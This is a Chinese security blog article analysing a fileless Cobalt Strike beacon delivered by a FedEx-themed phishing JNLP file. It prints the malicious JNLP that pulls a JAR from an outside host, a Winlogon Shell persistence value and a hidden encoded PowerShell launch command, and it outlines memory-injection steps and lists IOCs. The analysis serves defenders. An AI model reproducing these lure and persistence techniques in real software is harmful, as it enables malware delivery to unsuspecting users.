freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

分析无文件Cobalt Strike Beacon
2020-07-28 23:55:59

本文从一个用于网络钓鱼的 JNLP 附件文件入手分析,整个攻击链最终目的是建立与 Cobalt Strike 服务器的 C&C 连接。

阶段一:附件分析

JNLP 文件是 Java Web 文件,执行该文件会启动 javaws.exe 尝试加载该文件。Javaws.exe 是 Java 运行时的一部分,用于为 Java 应用程序提供网络功能。JNLP 允许部署在远程服务器上的应用程序在本地启动。值得注意的是,为了使用 JNLP 文件进行挖了难过钓鱼,必须安装 Java 环境。

更改文件扩展名为 XML 就可以使用文本编辑器查看 JNLP 文件的内容了。如下所示,JNLP 文件从通过域名 hxxp://fedex-tracking.fun 加载并执行 JAR 文件 FedEx_Delivery_invoice.jar

<?xml version="1.0"encoding="utf-8"?>
<jnlpspec="1.0+"codebase="http://fedex-tracking.fun"
href="FedEx_Delivery_invoice.jnlp">
<information>
    <title>Federal Express Service</title>
    <vendor>Federal Express</vendor>
    <homepagehref="www.fedex.com"/>
    <description>Federal Express documents online.</description>
        </information>
    <security>
        <all-permissions/>
    </security>
    <resources>
        <j2seversion="1.6+"/>
        <jarhref="FedEx_Delivery_invoice.jar"/>
    </resources>
        <application-descmain-class="FedEx_Service">
    </application-desc>
</jnlp>

知道了二阶段 Payload 的名称与位置就可以下载得到该文件。然后使用 JD-GUI 对其进行分析,对文件进行反编译。

如上所示,FedEx_Delivery_invoice.jar 会尝试从 hxxp://fedex-tracking[.]press 处下载 fedex912.exe。随后将文件存在 Windows 临时目录中并执行,此外还会加载合法的联邦快递网站,欺骗用户认为下载的文件是合法的。

阶段二:可执行文件分析

不幸的是,撰写本文时 fedex92.exe 不再有效,无法获得文件。但是通过 VirusTotal 可以得到样本文件。在分析环境中使用 process monitorregshot 分析文件活动。fedex92.exe 首先释放自身的副本文件 gennt.exe 到目录 C:\ProgramData\9ea94915b24a4616f72c\ 中。该目录是个隐藏目录,对普通用来说不可见,随后将 fedex92.exe 从系统中删除。

对比注册表的修改情况,可以发现恶意软件使用的持久化机制。

HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""

此外,该样本首先启动 cmd,然后启动 PowerShell。细节可以查看 AnyRun 的分析报告

"C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand"

阶段三:PowerShell 分析

通常可以使用 CyberChef 来处理编码问题,每个字符之间的 . 会对解码 base64 文本带来麻烦。可以使用 UTF-16LE(1200)来解决这个问题:

命令使用 base64 再编码,还可以看见使用 gunzip 进行压缩的处理:

使用 CyberChef 可以进行处理:

运行后可以发现 PowerShell 包含三个部分,第一部分有几个功能,第二部分有 base64 编码块和 for 语句,第三部分是一些定义的变量和条件语句。首先来看 base64 编码部分:

base64 编码后的 for 语句很值得查看:

可以看出是使用异或 35 对 base64 数据进行了加密,同样使用 CyberChef 进行处理:

其中可以看到像是 IP 地址和 User-Agent 的内容,其余内容看起来可能是 shellcode。使用 CyberChef 将上述内容转换为十六进制:

将十六进制内容另存为 .dat 文件,接下来使用 scdbg 对 shellcode 进行分析。输出如下所示,shellcode 加载 wininet API 库导入用于建立连接的函数,可以看见通过 8080 端口建立了连接:

shellcode 并没有其他功能,这可能是一个简易的 beacon 程序来建立与 C&C 服务器的通信。

PowerShell 注入内存

PowerShell 脚本其余的内容就是将 shellcode 直接注入内存并执行:

  1. 使用 system.dll 直接从内存导入 GetModuleHandle 和 GetProcAddress 函数,不会从磁盘加载 DLL 文件,这种加载 DLL 的方式是运行时动态链接
  2. 为函数 var_va 分配内存空间,包含 shellcode
  3. 对 shellcode 进行解码和解密
  4. VirtualAlloc 将 shellcode 写入内存空间并调用,shellcode 实际上被注入到 PowerShell 使用的内存空间中
  5. 执行 shellcode 与 C&C 服务器建立通信

Cobalt Strike

AnyRun 将该 PowerShell 文件判定为 Cobalt Strike,确实分析的 shellcode 与 Cobalt Strike Beacon 的配置和行为是一致的。比较新鲜的是这次看到的 Cobalt Strike Beacon 是无文件的,PowerShell 直接将 Beacon 注入内存不写入硬盘。

IOC

7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e

e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6

176[.]103[.]56[.]89

hxxp://fedex-tracking[.]fun

hxxp://fedex-tracking[.]press

 参考来源

Newtonpaul

# shellcode # Cobalt strike # 无文件 # JNLP
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者